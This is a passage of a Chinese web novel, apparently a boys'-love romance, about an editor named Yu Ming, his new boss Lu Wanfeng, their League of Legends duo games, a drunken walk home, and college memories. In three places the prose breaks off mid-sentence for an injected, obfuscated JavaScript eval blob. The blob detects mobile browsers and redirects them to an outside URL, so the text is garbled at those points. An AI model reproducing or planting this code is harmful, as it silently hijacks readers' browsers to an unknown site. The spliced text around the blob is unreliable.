他偏头过去，路晚风正好也在看他，脸上丝毫没有被撞破的尴尬，极其自然：“挺巧。” 钰茗一字一句：“这就是你！” 路晚风：“我知道。” 钰茗：“你为什么一开始要说不认识我？” 路晚风沉默两秒：“你可以当我那时候真的忘记了。” 钰茗：“……” 虽然也不是什么好听的话，总算不再故意装不认识了。 他也大人不记小人过。 可惜“小人”还是不放过他，敲着桌面问：“不熟悉？” 钰茗理直气壮：“……你都不记得我了，难道我还应该把你放在常玩的好友里？” 路晚风挑了挑眉头：“那现在熟悉了？” 钰茗从善如流：“那现在你能记住我了？” 两人对视，彼此看到对方眼中的笑意。 钰茗抿唇，含笑发出邀请，很快，屏幕上两个相同的璐璐头像并排。 组队之前，钰茗偷偷看了眼对方的战绩。 路晚风玩的场次不多，基本都是打野位置，看起来是标准的打野玩家。 赛季刚开不久，两人的段位都不高，很快排了进去。 “你玩打野，我来玩中路？”钰茗最擅长玩软辅，很多软辅都能走中路，所以偶尔会补位到中路去。 “不用。” 路晚风随手禁了一个英雄武器大师贾克斯，“选你最擅长的。” 最擅长—— 那当然是仙灵女巫璐璐。 钰茗是被赵晨亮带着开始玩LOL的，赵晨亮是AD（射手），最喜欢玩金克丝。与这个角色最搭配的辅助，就是璐璐。 璐璐这个角色，形象和语音技能都很可爱，非常多女孩子喜欢。 但并不代表这个角色很简单，甚至，她比一般的肉盾类辅助更需要熟练掌握释放技能的时机，为此，钰茗苦练了很久。 路晚风选的是打野英雄赵信，和璐璐很适配，是那种1+1远大于2的配置。 平日里玩游戏，钰茗习惯跟AD锁在下路。 赵晨亮玩的很不错，在属于他们的分段里，基本可以和钰茗两人配合杀穿下路主宰游戏。 第一次和打野双排，又不清楚路晚风的游戏习惯，加载游戏界面的时候，他偏头问路晚风：“等下要我过来跟着你吗？” 路晚风的回答非常言简意赅：“等我。” 话这么说，路晚风没有让他等多久，刚升两级，一波漂亮的草丛蹲人快速送走对面下路的AC和辅助。 几分钟后，在对面缺乏经验卡六之时，又一波侧方闪现突袭，再次将两人双双送走。 至此，下路彻底拉开差距。 跟AD沟通之后，钰茗跟在路晚风身后，两人一起时而上路埋伏，时而中路猛攻，十五分钟，对面直接投降。 看着游戏结算跳出来，钰茗笑着揉了揉手腕：“有点爽。” 路晚风握着鼠标的手很轻地顿了顿，声音沉沉地“嗯”了一声。 这一局过于顺利，钰茗享受了好一会的结算界面，等返回到组队界面的时候，邮箱突然提示有新邮件。 点开，有人给他送了好几个皮肤。 他扭头去看路晚风，正好路晚风也转头过来。 钰茗这一下动作很快，差点撞上路晚风的侧脸，心砰砰砰连着跳了好几下，才开口：“你怎、怎么给我送了好几个皮肤？” 路晚风敲着键盘：“多抽了几个，看你也玩就给你了，不喜欢可以退回。” 他稍稍停顿了一下，“我随便找个人送了。” 钰茗：“……那我收下了。” 就当这家伙一开始说不认识他的赔礼。 在那一堆收到的皮肤里，有一个魔法猫咪的皮肤，钰茗猫咪玩的少，此刻看着那么可爱的皮肤，他扭身询问路晚风：“我玩把猫怎么样？” -- 还挺巧，依旧是刚才的AD。 这AD玩的很一般，刚才那把后面已经是天大的优势了，正常AD单挂下面绝对没问题，结果钰茗走了之后，他还是死了两次。 这把钰茗一选猫咪，AD就在抗议。 靠天靠地靠自己：辅助，你上把-玩璐璐就算了，这把选个猫咪，我怎么玩？ 玉茗：你正常玩呀。 靠天靠地靠自己：你就不能选点能开团，可以保护我的英雄？ 钰茗也不是非玩猫咪不可，加上这个AD水平一般，硬辅或者功能性软辅更适合他。 正犹豫间—— Wind：菜不要怪别人。 靠天靠地靠自己：你什么意思？刚才要不是那个璐璐跑去保护你，我会死那么多次？你会拿MVP？ Wind：你也拿不到。 靠天靠地靠自己：？？？？ 说话间，系统锁定角色，钰茗也没办法更换英雄了。 “靠天靠地靠自己”显然对钰茗这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955991|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个猫咪非常有意见，走位无比激进，第一波怪还没到，就被对面射成血皮。 钰茗实在没办法，交了治疗，正要打字让他注意一点，这人往前闪现，直接送了。 可怜无助的小猫咪从他身上掉下来，没有闪现，被对方锤石一个钩子勾回去，成就了对面AD的双杀。 钰茗气得敲键盘的声音都响了很多。 玉茗：猫咪前期很弱，你能不能稳一点？ 靠天靠地靠自己：让你别选猫咪。 玉茗：…… 一分钟后，下路再传“捷报”，对面AD再次收获双杀。 两分钟后，又完美复刻了一遍。 钰茗键盘快要敲出火来了。 路晚风：“别管他了，挂我身上。” -- 不得不说，路晚风玩个游戏都给人一种赏心悦目的感觉，尤其是挂在他身上，用第一视角来欣赏的时候。 本已经劣势的游戏，很快靠着赵信上路中路发力，挽救了回来。 钰茗拿了几个助攻，总算补回发育，因为一波漂亮的大招，还被上路夸赞了一番。 牛魔王：大招不错，厉害的。 玉茗：也还好啦，是你们都玩的好。 靠天靠地靠自己：呵，非要选猫，你和打野双排的吧？怎的，离了野王不会玩游戏了？ 玉茗：能抱住野王大-腿是我的本事，你有本事你也抱呀！ 钰茗一般不会这么激动和人吵架，实在是刚才这家伙送太多次，太过分了。 靠天靠地靠自己：怪不得名字都叫茶花，你这个人真茶。 钰茗：“……” 他本能往路晚风那边靠了一些，声音也变得小小的：“我名字是山茶花的意思。” “嗯。” 男人唇角绷着，一副想笑又忍住的样子。 钰茗闷声：“你想笑就笑吧。” 说完顿了顿，又补充：“反正我不茶。” 话音刚落，只见对话框里跳出新的一行。 Wind：我喜欢就行。 心突然很沉地跳了一下。 钰茗忍不住别过头去看路晚风。 这一次，男人没有回头，操作游戏里的赵信干脆利落地把对面赶在支援的AD扫进我们塔下，一个帅气突进终结了他。 “认真玩。”路晚风提醒他。 “哦。” 屏幕上，黑屏结束，可爱的小猫咪回到了出生点。 几乎同一瞬间，刚才完成帅气击杀的赵信回城结束，出现在他面前。 钰茗正要跳上去，消息中心提示，有新消息。 编辑的工作忙起来是没有什么上下班概念，哪怕是打游戏的时候，钰茗也会把消息提示都开着，不让自己错过任何工作上的信息。 这会儿看到有新消息的提示，哪怕领导就在身边，钰茗也习惯性地直接点开。 晨里的月亮：【茗茗你的电话怎么打不通？我看你在游戏里，你打完后组我一下，我送你璐璐的皮肤。】 小猫咪一直站在原地不动，路晚风侧头过来，准备提醒钰茗。 屏幕中的信息让他浓眉一下子拧了起来。 小猫咪站在他身旁，慢悠悠地晃动着尾巴，猫咪的主人双手悬停在键盘上。 虽然收到了皮肤，钰茗却没有直接换上。 也许他还在等，等那个正确的人赠与。 甚至下一刻，会扭头过来，告诉他，自己得走了，有人在等他。 ——同之前的很多次一样。 那个瞬间，路晚风想展臂过去，把聊天窗口关闭，把人留下来。 键盘声响起。 【不用了。】 钰茗打字很快，看起来完全不需要思考，只依靠本能。 几乎是下一秒，新的一条信息又发送了出去。 【有人送我了。】 5. 第 5 章 钰茗自然不知道自己随手的一句回复，会让两个男人彻夜辗转难眠。 ——以完全不同的心情。 钰茗拿到了想要的皮肤，又上了一波大分，做梦时候都是笑着的。 -- 钰茗第二天是被香姐的电话吵醒的。 因为之前的运营事故，原先签订好合同的一位作者毁约，这位的翻译极度推崇“信达雅”，译本质量高且文笔优美，是壹文明年的主推。 他之前已经交了大部分稿子，都由钰茗保管整理，今天他的助理临时过来取件，香姐只得把不在值班的钰茗叫了过去。 昨天发了那条消息后，赵晨亮一直没有回复。 钰茗路上给他发了条信息。 【空？】 下一秒，赵晨亮的电话打了过来：“还知道给我打电话？” 很有攻击性。 钰茗温声道：“你昨天没回，我以为你在忙。” 赵晨亮：“我不想打扰你和人双排打游戏。” 赵晨亮的声音里明显带着不爽，虽然他极力按捺住了，钰茗还是听出来了。 沉默两秒，钰茗继续解释：“我看你没空，又挺想玩的，所以——” 话没说完，就被赵晨亮打断：“我没空所以你就去找别人打游戏了？皮肤也是他送的吧？” 钰茗拧起眉头：“难道我只能和你打游戏吗？” 赵晨亮也意识到自己刚才的话有些过分：“我不是这个意思。” 钰茗咬唇：“那你为什么要说你是一个人出差？” 他问完这一句，电话那头明显安静了下来，有那么一瞬间，钰茗有些后悔这么直白问出了口。 赵晨亮再开口，语气明显变得锐利：“你怎么知道的？” “你在调查我么？” 这是要吵架的架势了。 钰茗反倒是冷静了下来：“我没有调查你，你昨天发的视频是别人帮你拍的，车窗外面有你所在城市的标志建筑。” 钰茗说得这么明白，赵晨亮也不再隐瞒：“昨天一开始确实是我一个人去，临走前江沐加入了进来，只是个一晚上的临时出差，我就没告诉你。” 又是江沐。 赵晨亮：“这一点上确实是我不好，我道歉，以后有什么都会和你说清楚的。” 道歉态度很真切，语气也诚恳，刚才那个尖锐的赵晨亮完全消失了。 钰茗摁下听到“江沐”时翻起来的不快情绪，缓缓道：“我没有不接你电话，昨天正好手机没有放在身边。” 赵晨亮：“那那个皮肤呢，谁送你的？” 钰茗已经走到公司门口了：“一个朋友。” 赵晨亮：“哪个朋友？” 钰茗张了张口，“路晚风”三个字就在嘴边，到最后也没有说出来。 哪怕他心里知道，不说的话赵晨亮会很在意这件事。 但那个瞬间，他就是不想。 就像之前那次被打断的询问，之后，他再没和赵晨亮提起过路晚风。 看出来钰茗实在不想说，又因为自己工作确实是忙，赵晨亮压低声音：“茗茗，不管怎样你会等我回来的，对吗？” 钰茗抿了抿唇：“我会的。” -- 钰茗很快将之前送来的文稿交还回去。 将人送走后，他回到办公室，就被小慧拉住了：“主编来了！” 钰茗往主编办公室里看过去，原先紧闭的门半掩着。 小慧在他身后问：“钰茗，晚上有空不，咱们搞个部门迎新聚餐？” “部门迎新？” 小慧点头：“刚才路主编过来的时候问我，我们部门有迎新么？” “然后我当时傻了，我问他迎谁。” 钰茗：“……我们部门只有一个新人。” 小慧捂住脸：“我当然知道，只是问出口就没办法反悔了。完蛋了，主编不会以后都对我印象很差，觉得我是个傻子吧？” 钰茗怜悯地看着他。 按照路晚风的性格，还蛮可能。 小慧：“我们商量好了时间地点，你去和主编说一下。” “为什么我去？” 小慧理直气壮：“因为你是男生啊，作为唯二男丁，你不应该去和另一个多多搞好关系么？” 钰茗：“难道不是你去，然后弥补一下刚才的印象？” 小慧连连甩手：“别了，我怕我去了又犯傻，给人留下更差的印象。” 钰茗笑着站起身。 经过昨天的双排，他和路晚风的关系好像又变得和之前差不多了。 听到他说晚餐的事情，路晚风微微点头：“你要去么？” 钰茗很自然地说：“我当然会去，是给你准备的迎新宴！” 路晚风：“那可以。” 钰茗走出办公室，反手关门的时候很轻地“诶”了一声。 小慧就站在他旁边，担忧地问：“你怎么这个表情？难道主编改主意了？” 钰茗摇摇头，又忍不住笑她：“主编又不是老虎，没那么恐怖的。” 小慧唏嘘：“你不懂！” 钰茗努力为路晚风辩驳：“真的，多相处相处你就知道了。” 全然忘了前两天第一次遇到路晚风，对方不认他时候，自己是如何吐槽对方冷漠又无情的。 -- “钰茗，敬你。” 看着路晚风伸手过来敬酒，钰茗只得僵硬地抬手和他碰了碰。 钰茗酒量很差，半杯就醉，平日里聚餐根本不敢喝酒。 但是路晚风敬的酒，硬着头皮也只能干了。 刚喝完，感觉还好，但真等到起身要走的时候，天旋地转。 腰被扶住，钰茗本能抬起头，只能看到扶住他的人轮廓分明的侧脸，和因为说话颤动的喉结。 “我送他回去吧。” 听到路晚风这么说，原先要送钰茗回去的香姐一愣：“主编，这方便吗？” 路晚风侧头，看了眼明显呆滞的钰茗：“就还挺巧的，我们刚好住在隔壁。” 几人面面相觑，视线交流了好一会，香姐看向钰茗，钰茗愣愣地点了点头。 虽然他根本不知道香姐和路晚风在聊些什么，喝了酒的大脑一直都在放空状态。 主编这么说了，当事人也“同意”了，香姐几人放心把钰茗交给了路晚风。 直到走出来，吹了点冷风，悬空的大脑才回到身体里。 聚餐的地点就在公司旁边，距离两人的家也很近，走回去也只需要十来分钟。 走了两步，钰茗歪头看向路晚风。 路晚风继续往前走着。 钰茗继续看。 又走了两步，路晚风语带无奈：“不看前面会摔倒。” “哦。” 然后继续看。 路晚风：“想问什么直接问。” 钰茗嘿嘿笑了一声：“被你看出来了。” 路晚风：“除非瞎了，不然都能看出来你想做什么。” 半醉的大脑里只有想要问的事情，完全听不出来路晚风话里的揶揄：“路大哥，你那时候为什么突然就走了？” “路大哥”三个字明显让路晚风如常的表情有一瞬的空白。 罪魁祸首却完全没有发觉什么不同，只是用很期待的表情继续看着他。 路晚风收回视线，看向前方：“问点我愿意回答的问题。” 钰茗：“……哦。” 他歪着头又想了想：“那你为什么会突然回国？还会来壹文？” 这个问题路晚风倒是愿意回答了。 “处理一些问题，以及——” 他停顿的时候有些久，久到钰茗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955992|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住晃了一下他的手臂：“以及什么？” 路晚风微微仰头，低沉的声音里夹着的晚风吹过的温柔。 “完成一个梦想。” “梦想”这个词让钰茗眼睛一亮，“我来编辑部，也是为了完成梦想。” 路晚风彻底停下脚步。 钰茗以前和他聊过很多，却从来没有提过梦想，就像他不理解钰茗为什么会选择来做一个编务。 国内顶级大学的中文系优秀毕业生，不应该只想着混日子等退休。 “大三的时候，我作为交换学生在国外学习了一个学期。” “在那的时间越久，我越能感受到一种文化的落差。” “国内的书店里很轻易看到外国作家的作品，莎士比亚，狄更斯，各种不同的译本，各种不同的装帧，甚至还可以看到大量原版。但在国外，却很难看到国内一些知名作者的书籍，明明那些作品都非常优秀，完全值得被整个世界看到。” “那时候我就一直在想，有没有什么办法，可以将更多属于我们的作品推广到全世界，让他们都能看到我们的优秀作品，还有美丽灿烂的文化。” “所以大学毕业后，我选择了编辑部的工作。” 钰茗说话的时候，路晚风一直看着他，漆黑的眼瞳映着路灯的暖光，带着几分平日里看怎么到的温柔。 “那你为什么只选择做一个编务？” “嘘。”钰茗伸手过去，捂住了他的嘴。 这是一个极其突兀的动作，哪怕是之前两人更为熟悉的时候，钰茗也不可能去做。 “这是个不能说的秘密。” 掌心痒痒的，男人的鼻息全数喷吐在上面，钰茗不由自主地在他唇上蹭了蹭手。 下一瞬，手腕被握住，手掌被一点点移开，悬停在两人的脸中间。 路晚风看着他：“又是秘密？” 钰茗古怪地笑了一下：“因为有人看上了我考的那个位置，抢走了。” 路晚风的表情顷刻间冷了下来：“有人走关系了？是谁？” 钰茗把手从他掌心里抽出来，转过身继续往前：“我不会告诉你的。” 哪怕酒精半控制着大脑，钰茗也保持着某些事情上的清醒：“随便他走什么关系，我一定会把属于我的拿回来。不过在那之前，我要努力让自己配得上那个岗位那份工作。” “再然后，努力完成我的梦想。” 这些事情，钰茗从来没有和任何人说过。 赵晨亮也没有。 也许是因为酒意上涌，又也许，是路灯下的路晚风看他的目光过于温柔，让他没忍住将这埋在心底很久的事情倾诉出来。 果然，说出来之后，浑身轻松了很多。 再之后，那种将秘密宣之于世的羞-耻感袭来，脸颊不停发热。 他背着路晚风，以手做扇，不停给自己扇风：“好啦快点走了，我要回家了。” 身后却一直没任何动静。 耳朵尖的热意更浓，所有的血液都在往上涌动，手做的扇子已经完全不管用了。 钰茗快步跑起来，边跑边大声道：“路晚风，你能不能把刚才我说的都忘了！就当我在发酒疯！” 连着跑了好几步，突然听到路晚风在叫他。 “钰茗。” 那声音出现在侧方，转头过去，路晚风不知什么时候已经跟了上来。 一只长臂伸过来，勾住了他的肩膀。钰茗喝了酒，本就不是很稳的身体被他这么一扯，很轻易地就半撞到他的胸膛里。 就着这个动作，路晚风收紧手臂，钰茗的头按在的肩膀上。 “钰茗，”路晚风又叫了他一次，“不用害羞，你刚才说梦想时候的样子——” 他的声音很轻，微微带着喘，几乎融进了这个暖黄-色的夜晚。 “非常帅气。” 6. 第 6 章 钰茗缓缓睁开双眼。 映入眼帘的，是一缕从未被拉拢的窗帘里泄露进来的金黄-色的光。 钰茗眯着眼揉了揉发胀的太阳穴，伸手去枕头旁边摸手机。 来回摸了好几下，都没摸到。 等等—— 钰茗猛地从床上坐起来，动作太猛，醉酒后的晕眩让他一下子没坐稳，又仰躺了回去。 一来一回，混沌的大脑总算清醒了一些。 记忆也一片一片地回笼。 他昨天喝了一杯，很不争气地醉了，最后是路晚风把他带回来的。 路上他们似乎聊了很多—— 耳边突然响起一声低沉的“非常帅气”。 钰茗攸地睁大双眼。 某个场景在他眼前闪过，钰茗马上闭上了眼睛。 他一定是还醉着，再睡一会比较好。 不然怎么会幻想路晚风夸赞他很帅的画面呢？ -- 睡觉当然是睡不成了。 现代人，手机就是生命，必须要掌握在自己手中。 转了一圈，钰茗在楼下的客厅桌上找到彻底没电的手机。 插上电源开机，他差点被疯狂震动的信息提示音吓到。 一眼扫过去，赵晨亮，公司的小群，还有一些其他的信息。 赵晨亮连着发了好多条道歉和解释的信息，最后让钰茗醒了给他打电话。 但钰茗只回了他一条信息。 【我没有生气了，是昨天公司迎新，领导给我敬了一杯，我有点醉，回来就睡了。】 发出去之后，又回看了一遍，觉得自己这一段看起来有些冷淡。 但冷淡是对的，谁让赵晨亮说了那么过分的话。 手机震了震，上方跳出有人在@他的提示。 钰茗放弃思索，退出和赵晨亮的聊天界面。 是办公室小群的人又在@他。 小慧：【钰茗不会还在睡吧？都要十二点了，他是猪吗？】 香姐：【喝醉是这样的，你这种千杯不醉的人不会懂，体谅一下。】 小慧：【不管！@钰茗，茗茗快点来，解释一下昨天到底什么情况！】 香姐：【我也帮帮你，我也急着想听@钰茗。】 钰茗：“……” 说好的体谅呢？ 钰茗：【对，就是巧合，我也是他搬进来那天才知道的。】 钰茗：【没有任何内情！真的！谢谢大家昨天照顾我，周一请你们喝奶茶！】 母亲也给他发了一条，说下周要和父亲两人出去旅游，让他不要回去，免得跑空。 一条一条信息回复完，钰茗拉到最后一条未读信息。 是个很陌生的名字。 Road：【我到家了。】 盯着对方的头像看了好一会，恍然反应过来这是从公司回家的路。 同时也反应过来这个人是谁。 路晚风竟然还记得他们加过好友。 对哦，他们加过好友，之前他就该在对方故意不认人的时候狠狠掏出来甩到他脸上。 钰茗一手握着手机，一手撑着下巴，想了好一会应该怎么感谢对方。 ——谢谢你昨天送我回来，我喝多了做事乱七八糟的，辛苦你了。 不行不行，这样的话看起来太奇怪了，显得好见外。 钰茗最后还是选择了最简洁的回复。 【昨天谢谢。】 钰茗坐在原地等了一会，对方一直没有回应。 他起身走到窗边往隔壁看去。 门窗紧闭，路晚风似乎并不在家。 到晚上睡觉之前，路晚风还是没有回复他的信息，看样子应该是不准备回了。 钰茗拿着手机再次走到窗边。 隔壁整个房子都是黑的。 钰茗眉头微拧，路晚风去哪里了，怎么这么晚还不回家？ -- 之后，赵晨亮隔个半天，都会打一个电话来，和钰茗分享自己的工作和生活，两人之间表面看来和好如初。 周一午休的时候，钰茗收到对方发来的信息。 【茗茗看！】 后面跟着一张图片，是加国直飞国内的机票。 抵达时间：本周六上午。 钰茗有一瞬的怔忪。 他和赵晨亮上一次见面还是去年过年的时候，这段时间以来也一直期待着能和对方见面。 但当赵晨亮真的要回来的时候，预期中的兴奋激动却没有来，甚至一颗心跟着提了起来。 钰茗：【你公司的事情彻底处理好了？】 晨里的月亮：【还没，但是国内公司有点材料需要我本来过来确认，正好能和你见个面。】 不知为何，看到这一条信息的时候，那颗悬在半空的心突然松了一些。 钰茗回复他：【好啊，我到时候去接你。】 -- 直到快下班的时候，钰茗才看到路晚风推门进来。 被风吹起衣角的长风衣下摆明显带着褶皱，比起那天晚上相遇，还要给人一种风尘仆仆的感觉。 两人视线撞了撞，路晚风开口：“钰茗，帮我泡杯咖啡。” 钰茗应声说好，跟在他身后进了他的私人办公室。 路晚风办公室里有加热设备，钰茗拿着他的杯子泡咖啡。 “抱歉没有回你信息，我看到的时候已经过了大半天了。” 钰茗“嗯”了一声，路晚风这样的忙人，没空看手机很正常。 但路晚风郑重的道歉还是让他挺开心，有一种，还挺被重视的感觉。 唇角刚翘起，就听到路晚风说：“我回了趟加国。” 钰茗惊讶地转过身去：“你前天晚上不是还在这边——” 路晚风：“是，我送你回去之后直接去的。” 钰茗张了张口：“你怎么突然——” 迎上路晚风的视线，猛地反应过来自己这么问有些越界。 戛然而止的话让路晚风脸上多了点笑意：“我临时过去处理一些工作上的事情。” 钰茗点头，把泡好的咖啡递过去。 路晚风接过，看着他的眼睛：“顺便，和你的学长见了个面。” 钰茗的学长，和路晚风认识的，自然只有赵晨亮。 钰茗眼睛一亮：“你们见面了？” 路晚风：“嗯。” 钰茗抿了抿唇：“他看起来还好吧？” 路晚风挑了挑眉：“还好？为什么这么问？” 这两天和赵晨亮的电话里，对方说的最多的是“累”。 告别一个长久安稳的工作，需要做的事情很多，钰茗有些担心他会不会过于操劳，影响身体。 “他和你说了要回国的事情么？” 路晚风眯了眯眼：“似乎听过。” 钰茗解释：“他最近在处理工作交接问题，马上就要回国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955993|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作了。我担心他太过忙于工作忽略了身体，所以想问问你他看起来怎么样。” “这么关心他？” 被路晚风这么直勾勾盯着问这个问题，钰茗的脸有些发热。 他眼神闪了闪：“我和他关系很紧密，而且他回国也是为了我，所以——” 路晚风半眯着的眼眸里多了点不解：“为了你？” 钰茗觉得自己的脸上更热了：“你不知道吗？“ “知道什么？” 钰茗眨了眨眼睛。 赵晨亮和路晚风多年朋友，赵晨亮平时和他聊天时候也会提起路晚风，还说过路晚风知道他的性取向。 路晚风修长的手指圈住杯子，仰着头看钰茗，很耐心地又问道：“我应该知道什么？” 钰茗吞了吞口水。 这件事由他来说显得很尴尬，但既然赵晨亮会和他分享性取向，自然是很信任他的，等回国之后一定也会向路晚风挑明和他的关系。 再者，他和路晚风是朋友，此刻不说，倒显得不真诚了。 这么想着，钰茗忍着羞涩：“我的性取向也是男性，我一直在等他回——” “你没必要告诉我这些。”路晚风突兀地打断他。 钰茗说完已经开始后悔了，这个事情到底还是应该由赵晨亮和路晚风去说更好。 他心跳地很快，讷讷解释：“我们不是朋友么，我以为你会愿意听我说这些。抱歉，我以后不会——” 路晚风再次打断他：“我从没想过要和你做朋友。” 钰茗猛地顿住。 路晚风依旧是那个姿势，微仰起头，头顶炽白的光将他的轮廓分明的脸，照得如同一尊大理石雕像，也让他看人的眼神显得有些冷酷。 又带着几分决绝。 路晚风又重复了一遍：“我不想做你的朋友，钰茗。” 钰茗的手攸地握紧。 他突然醒悟过来，不管过了多久，路晚风其实一直都没变。重逢之后对方的温柔和好说话，大概率只是他的错觉。 在路晚风眼里，以前他是学弟的朋友，现在他是下属中的一个。 他们从来都不是朋友。 心脏好像被什么东西扎了一下，泛起一阵尖酸来。 钰茗咬紧牙齿：“我、我也没想和你做朋友！” “那你想和我做什么？”路晚风厉声问他。 我—— 我没想好。 当然不能这么回答，至少不能在这种情况下这么回答。 钰茗深吸了一口气，后退道：“当然是做一个合格的下属。” “主编，咖啡泡好了，没别的事情我就先出去了。” 说完，也不等路晚风示意，转身往门口走去。 身后传来快速的脚步声，在他开门的瞬间，握住了他的手腕。 “钰茗。” 钰茗僵直着身体站在原地，背对着他。 路晚风在他身边站住，握住他手腕的手缓缓转了一圈，变成握住了他的手。 “抱歉，我连轴转了两天，累得有些胡说八道了。” 钰茗转过身去。 路晚风垂着眼睫，宽大的身躯挡在钰茗前方，遮住了大半窗户里照进来的光。 男人俯身下来，背光的脸上，隐约能看见眼下的青黑和疲惫。 路晚风就这么紧紧握着钰茗的手，用透着疲倦却又不容置喙的语调说：“我当然很愿意和你做朋友。” 7. 第 7 章 回到座椅上，张开双手舒展身体，钰茗才发现自己的腿有些发软。 因为刚才路晚风突然说的话，还有说话时的语调模样。 钰茗闭了闭眼，眼前浮现的却是自己推门离开之前，男人深深看他的双眼。 深邃诚恳，还有点微微的—— 可怜。 钰茗眉心一动。 他在想什么呀？ 这个词不管什么时候都不可能在出现在路晚风身上。 其实远在赵晨亮把他介绍给路晚风认识之前，钰茗已经在篮球场上看到过男人很多次了。 他学的中文，爱好却是画画。 闲着无聊，总爱抱一本素描本到处乱逛。 相较于一些喜欢画景，画物的人，钰茗特别喜欢画人，而且是三次元，活生生的人。 于是运动员成了很好的观察对象。 恰好他们学校的篮球队很厉害，很快成了钰茗的最优选。 去了没几次，钰茗就被其中一个高个子，手长脚长的男人吸引了注意力。 他参加训练赛的次数不多，大部分时候都是在一旁的观察训练，不时和教练讨论一些什么。 但只要上场，基本都是队伍的核心，也是全场的核心，几乎所有人的视线都围着他在转。 为此，钰茗特地找人要了篮球训练表，努力让自己不要错过任何一次素描的机会。 一次，钰茗临时有事，去的时间有些晚了。 进门的时候，训练已经过半，平日里坐的角落位置也被人占掉了。 无奈下，只得随便选了一个空一些的地方坐下。 放好东西抬头，意外看到男人也在往他这边看。 视线交汇中，他隐约看到男人朝他勾了勾唇。 是在对他笑么？ 钰茗往四周围打量了一圈，发现前排有几个打扮时尚漂亮的女孩。 感受到男人的注视，几人纷纷站起来，朝他挥手。 钰茗了然垂下眼，下笔的速度却更快。 那次之后，钰茗的运气似乎变得好了起来，几乎每次去看篮球队训练，男人都在，而且每次都会上场。 钰茗一下子多了很多的素材，不出一个月，就画了大半本素描本。 又一次看完训练赛，球队成员们聚在一起，做赛后复盘。 钰茗收拾东西，准备离开。 之前好几次都遇到的漂亮女生中的一个，走到他面前。 “同学你好，我已经偷偷观察你好几次了。” 钰茗眨了眨眼睛。 “你的人物画的真好，可以帮我画一副吗？”女生笑起来有两颗米粒似的酒窝，朝他递过来一杯奶茶，“我拿奶茶跟你换。” 奶茶还散着微微的热意，女孩眼睛亮晶晶的，很难让人拒绝。 那天之后，钰茗的运气又变得坏了起来。 连着去了好几次都没碰上人，素描本消灭计划也迟迟没有完成。 钰茗心想，如果下一次还遇到，他一定要去问问那个家伙叫什么，有没有固定训练时间。 虽然他画画水平一般，但还—— 挺挑。 有了最好的，不想用别人来将就。 没等他问到，赵晨亮就把他带到了那个人面前。 那天是带着点寒意料峭的秋末，一群人坐在路边撸串，店主的炉子就放在他们旁边，不时有袅袅白烟飘散过来，一地的烟火气。 “晨亮，这就是你说的那个和你一起长大的小朋友？” 钰茗已经19岁了，自然不愿意再被称为小朋友，小声辩驳：“我不是小朋友了。” “哈哈哈哈！” 几人笑着，“在我们眼里你就是小朋友。” 被揶揄打趣，赵晨亮看出他的拘谨，拉他在最角落里坐下，顺便拍了拍身侧的人：“茗茗，这是我学长，也是我经常和你说的，我们研究小组的组长，路晚风。” 见到人，钰茗一愣。 这不就是篮球场上那个家伙吗！ “我记得你。”叫路晚风的男人先开口。 钰茗惊讶。 赵晨亮也好奇起来：“你们认识？” 钰茗正要解释，路晚风却先他一步：“这是小秘密。” 赵晨亮故意酸里酸气道：“我们茗茗竟然也和别人有秘密了。” 路晚风很轻地一笑，勾了下钰茗的肩膀：“怎么，不允许？” 勾过来的时候，男人的指腹很轻地擦过他的后颈，粘上钰茗被风吹得有些冷的皮肤，很热。 钰茗接过赵晨亮递来的肉串，小口吃着。 顺便偷偷看一眼男人。 路晚风似乎不爱吃这些，前面除了一杯啤酒，什么都没有。 他虽然坐在角落里，但钰茗能感觉的出来，大家都很重视他，几乎每个话题都会主动带到他。 不过他接话的次数不是很多，有些冷淡。 钰茗在心里打了好几次退堂鼓，还是没忍住：“路学长，你可以把你参加训练的时间表给我吗？” 大概是没想到他会问这个，路晚风有些惊讶。 钰茗决定趁热打铁：“我每次去看你们训练，都是想画你。” 路晚风突兀地笑了一声。 迎上男人眼里的笑意，钰茗脸颊一热。 十八-九岁的年纪，最真挚热切，想到什么就说什么。 说出来才发现这样子的话有些过于奇怪，尤其是和第一次认识的人，急忙红着脸解释。 “我的意思是，我很喜欢画你打球的样子。” “记住你的话，”路晚风深深看了他一眼，“我这个人，很小气的。” 钰茗一直不理解对方的“小气”是什么意思，直到后来发生了那件事—— “钰茗，回神。” 钰茗从回忆里抽离，香姐手里拿着一叠资料快步过来，“来，把这些给主编送过去？” “又是……我去？” 香姐：“组织看他对你挺有好感的，决定派你和他多交流沟通感情。” 钰茗瞪大 